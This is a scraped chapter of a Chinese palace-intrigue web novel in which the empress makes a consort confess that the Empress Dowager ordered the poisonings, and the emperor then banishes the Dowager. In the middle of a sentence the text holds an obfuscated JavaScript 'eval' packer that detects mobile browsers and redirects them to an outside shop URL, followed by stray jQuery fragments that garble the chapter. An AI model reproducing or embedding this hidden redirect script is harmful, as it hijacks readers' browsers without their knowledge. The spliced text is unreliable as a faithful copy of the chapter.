文趣网 > 其他小说 > 凤阙谋 > 16. 毒源追踪3
    萧凛凰看着她,语气平静,却带着不容置喙的威严:“本宫给你两个选择。第一,本宫现在就派人去告诉陛下,是你指使周槐下毒谋害本宫,是你与北狄勾结,到时候,你死,你兄长死,你全家满门抄斩,一个不留。第二,你帮本宫做一件事,本宫保你一生富贵,保你兄长平安,甚至……保你成为下一任皇后。”

    贤妃浑身一僵,抬起头,眼中满是茫然与疑惑,不敢相信自己的耳朵:“娘娘……您说的是真的?您真的愿意保臣妾,保臣妾成为皇后?”

    “本宫说话算话,从不食言。”萧凛凰看着她,语气坚定,“但你要记住,机会只有一次,若是你敢耍花样,本宫定要你死无葬身之地。现在,告诉本宫,谁牵的线,让你与北狄联系上的?是谁在背后指使你,让你谋害本宫的?”

    贤妃的瞳孔猛地缩起,显然没想到萧凛凰连这件事都知道了。她看着萧凛凰那双清澈却凌厉的眼睛,仿佛能看透她所有的心思,知道自己再也无法隐瞒,只能颤抖着说道:“是……是太后……是太后牵的线,让臣妾与北狄联系上的。太后告诉臣妾,若是臣妾能除掉娘娘,她便在陛下面前美言几句,保臣妾为后,还能帮臣妾的兄长升官发财。周槐……周槐也是太后的人,他之所以帮臣妾,也是受了太后的指使……”

    萧凛凰缓缓闭上眼睛,心中一片了然。果然是太后,又是太后。那个老妇人,归政是假,退居幕后操控一切才是真。她利用贤妃的野心,让贤妃替她下手谋害自己,若是成功,贤妃便是她手中的棋子,日后时机成熟,她便会除掉贤妃,另立他人;若是失败,贤妃便是替罪羊,承担所有的罪责,而她自己,却能全身而退,继续隐藏在幕后,操控一切。好深的算计,好狠的心思!

    “最后一个问题。”萧凛凰睁开眼睛,眼神凌厉,紧紧盯着贤妃,“华妃之死,是不是也是太后所为?”

    贤妃用力点头,浑身依旧在颤抖,声音带着几分恐惧:“是……是太后所为。太后说,华妃娘娘无意中知道了陛下的身世秘密,怕华妃娘娘把秘密说出去,动摇陛下的皇位,便暗中指使锦书,给华妃娘娘下了改良后的‘七日醉’,让华妃娘娘在痛苦与怀疑中死去……”

    “陛下的身世秘密?”萧凛凰心中一震,眼中满是震惊。她早已隐约察觉,景帝并非先帝亲子,那日太后归政,言行举止间的破绽,便让她心生疑虑。但她一直没有证据,也不敢轻易猜测,如今听贤妃这般说,心中的猜测终于得到了证实。

    “什么秘密?”萧凛凰急切地追问道,语气中带着几分急切,“陛下的身世,究竟有什么秘密?”

    “臣妾只知道……陛下并非先帝与太后所生,而是……而是太后从宗室之中抱养的孩子。”贤妃颤抖着说道,声音越来越小,“真正的皇子,在出生那日,便被太后……便被太后派人害死了。太后说,这是宫中最大的绝密,若是传出去,陛下的皇位便会不稳,天下便会大乱,所以,凡是知道这个秘密的人,都必须死……”

    萧凛凰深吸一口气,心中涌起一阵惊涛骇浪。原来如此,这就是太后最大的把柄,也是她多年来垂帘听政、执掌大权的底气。她知道景帝的身世秘密,景帝碍于皇位稳固,不敢动她;她又用这个秘密,控制了无数人,让他们为自己所用,谋害那些知道秘密、或是阻碍她的人。华妃是这样,自己也是这样。

    “贤妃,你今日说的话,本宫都记住了。”萧凛凰缓缓坐起身,声音平静无波,“从今日起,你便是本宫的人。太后让你做什么,你便如实告诉本宫;本宫让你做什么,你便照做,不得有丝毫违抗。作为交换,本宫保你性命,保你家族平安富贵,甚至……保你将来,成为皇后。”

    贤妃看着萧凛凰,眼中没有了恐惧,只剩下茫然与感激,她重重叩首,泪水再次涌出:“臣妾……臣妾愿为娘娘驱使,赴汤蹈火,在所不辞。从今往后,臣妾唯娘娘马首是瞻,绝不背叛娘娘!”

    萧凛凰看着她,心中并无半分喜悦。她又收服了一颗棋子,又多了一个助力,但这也意味着,她离那个惊天秘密更近了一步,离那个危险的核心,也更近了一步。深宫之中,没有永远的盟友,只有永远的利益。她知道,贤妃之所以投靠她,不过是为了保命,为了那皇后之位。但她不在乎,只要贤妃能为她所用,能帮她查清所有真相,暂时的利用,又有何妨?

    “起来吧。”萧凛凰抬手示意,语气缓和了几分,“你现在就回去,告诉太后,就说本宫已经油尽灯枯,快不行了,让她做好准备,准备立新后,圆了她的心愿。”

    “臣妾遵旨。”贤妃躬身行礼,擦干脸上的泪水,整理了一下衣衫,再次躬身,随后转身,轻步退了出去。

    贤妃退下后,萧凛凰唤来温衡:“温院判,给本宫解毒吧,本宫要‘康复’了。另外,你去请陛下前来凤仪宫,就说本宫有要事相告,事关华妃之死,事关宫中的秘密。”

    “臣遵旨。”温衡躬身领命,即刻上前,为萧凛凰施针解毒。银针入体,一股温热的气流缓缓涌入萧凛凰的经脉,驱散了体内的药物之力,她的面色渐渐有了血色,气息也变得平稳起来。

    不多时,景帝便驾临凤仪宫。此时的萧凛凰,已经靠在榻上,面色虽然依旧苍白,但眼神清明,气息平稳,早已没有了往日的奄奄一息。

    “陛下。”萧凛凰微微欠身,语气温和。

    景帝快步走到榻边,握住她的手,眼中满是惊喜与关切:“凛凰,你醒了?感觉怎么样?身子好些了吗?”

    “多谢陛下关心,臣妾好多了。”萧凛凰浅浅一笑,眼神温柔,“陛下,臣妾已经查到了下毒之人,也查到了华妃娘娘死亡的真相。”

    景帝的眼神瞬间变得凝重,急切地问道:“是谁?下毒之人是谁?华妃的死,究竟有什么隐情?”

    “下毒之人,是户部主事周槐。”萧凛凰看着景帝的眼睛,语气平静,“但周槐背后,还有人指使,那个人,便是太后。”

    景帝的身体猛地一僵,眼中满是难以置信:“太后?怎么会是太后?她为何要谋害你?为何要谋害华妃?”

    “因为华妃娘娘知道了陛下的身世秘密,太后怕她把秘密说出去,动摇陛下的皇位,便暗中下手,谋害了华妃娘娘。”萧凛凰的语气依旧平静,却带着一股沉重的力量,“而臣妾,因为无意中察觉了一些端倪,又在御书房提及华妃旧事,暴露了自己知道太多秘密,太后怕臣妾查出真相,便再次下手,想将臣妾也灭口。周槐,不过是太后手中的一把刀,贤妃,也是她利用的棋子。”

    “够了!”景帝猛地站起身,脸色铁青,眼中满是怒火与痛苦,声音沙哑,“谁让你查这些的?谁让你触碰这些秘密的?”

    萧凛凰缓缓跪下,额头贴在地上,语气坚定:“臣妾该死,臣妾不该私自追查这些秘密,不该惹陛下生气。但臣妾不能看着陛下被蒙在鼓里,不能看着太后利用这个秘密,继续操控宫中一切,继续谋害无辜之人。陛下,太后心狠手辣,野心勃勃,若是再纵容她,后患无穷啊!”

    景帝看着她,看着她跪在地上,神色坚定,眼中满是担忧与忠诚,心中的怒火渐渐平息,取而代之的是复杂与痛楚。他沉默良久,缓缓坐下,伸出手,轻轻抬起萧凛凰的下巴,眼神复杂,带着几分愧疚,几分忌惮,还有几分不易察觉的依赖:“你……真的不怕死?你可知,知道这些秘密的人,都死了。华妃死了,周槐马上也会死,你……就不怕步他们的后尘吗?”

    萧凛凰直视着他的眼睛,眼中没有丝毫畏惧,只有一片真诚:“臣妾不怕死。臣妾生于深宫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509993|202956||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,早已将生死置之度外。臣妾只怕,不能陪在陛下身边,不能帮陛下扫清障碍,不能与陛下共度余生。臣妾所做的一切,都是为了陛下,为了这江山社稷。”

    景帝的手微微颤抖,心中涌起一阵暖流。他看着眼前这个女子,她知道他所有的秘密,所有的罪孽,知道他并非先帝亲子,知道他的皇位得来不易,却依然选择站在他身边,依然选择真心待他。这是爱,还是算计?他分不清,也不想分清。他只知道,自己需要她,需要这个懂他、帮他、真心待他的女人。

    “传旨。”景帝缓缓站起身,声音沙哑,却带着不容置疑的威严,“太后年老昏聩,心怀不轨,谋害皇后,意图祸乱宫闱,即日起,迁居行宫,派兵看守,无朕旨意,不得回宫半步。户部主事周槐,勾结北狄,谋害皇后,凌迟处死,诛三族。贤妃……”

    他顿了顿,转头看向萧凛凰,眼中带着几分询问。

    萧凛凰浅浅一笑,轻声道:“贤妃揭发太后与周槐的阴谋,有功于朝廷,可晋为贵妃,协理六宫,协助本宫处理后宫事务。”

    景帝点了点头,沉声道:“准奏。贤妃揭发有功,晋为贵妃,协理六宫。”

    萧凛凰躬身叩首:“陛下圣明。”

    她知道,这是最好的结果。太后被逐,再也无法操控宫中事务;周槐伏法,报了华妃的仇,也清除了宫中的一个隐患;贤妃被晋为贵妃,协理六宫,既收了贤妃的心,也让她成为自己的助力,同时也保留了那个关于景帝身世的秘密的体面,不让天下人知晓,以免动摇景帝的皇位。

    景帝感激她,忌惮她,但也需要她。从今往后,他们不再是单纯的帝后,更是真正的盟友,真正的夫妻。他们将携手并肩,共同面对深宫之中的风风雨雨,共同守护这江山社稷。

    但萧凛凰心中清楚,这一切,还没有结束。那个关于景帝身世的秘密,就像一颗定时炸弹,随时都有可能爆炸。她知道,总有一天,这个秘密会再次浮出水面,而她,必须在那之前,拥有足够的力量,保护好自己想保护的人,保护好景帝,保护好这来之不易的平静。

    她轻轻抬手,抚摸着腕间的羊脂玉镯,眼中闪过一丝坚定。深宫之路,步步惊心,杀机四伏,但她不会退缩,也不会畏惧。她会一步一步,查清所有的真相,扫清所有的障碍,在这深宫之中,走出一条属于自己的路。

    “青黛,”萧凛凰轻声唤道,“去告诉父亲,本宫一切都好,让他不必担心。另外,让他暗中留意朝中动向,尤其是北狄的消息,有任何情况,即刻派人告知本宫。”

    “是,娘娘。”青黛躬身领命,转身快步退了出去。

    窗外的海棠花依旧盛开,风过处,花瓣簌簌飘落,落在窗棂上,落在萧凛凰的衣袂上。阳光透过窗棂,洒在她的身上,驱散了几分寒意,却驱不散她心中的沉郁与坚定。封后大典越来越近,深宫之中的风暴,也才刚刚开始。而她,已经做好了准备,迎接所有的挑战。

    太后被逐的第三个月,残春的余温尚未漫过紫禁城的朱墙琉璃瓦,一道染着血污的急报,便冲破千里尘烟,撞开了皇城的大门。彼时,坤宁宫的庭院里,晚樱正落得纷纷扬扬,粉白的花瓣铺在青石板上,似一层薄薄的雪,风一吹,便卷着细碎的香,飘进殿内。

    萧凛凰正临窗而坐,素手执一支羊毫,在洒金宣纸上临摹《兰亭序》,墨香与花香缠缠绵绵,衬得殿内一片静谧。她身着一袭月白色绣折枝玉兰花的常服,领口袖口滚着一圈浅碧色锦边,乌发仅用一支羊脂玉簪绾起,眉眼间褪去了几分皇后的威严,多了些许难得的温婉。青黛端着一盏刚沏好的雨前龙井,轻手轻脚地走进来,正要开口,殿外便传来内侍急促的脚步声,伴随着一声带着哭腔的通传:“娘娘!北境急报!八百里加急!”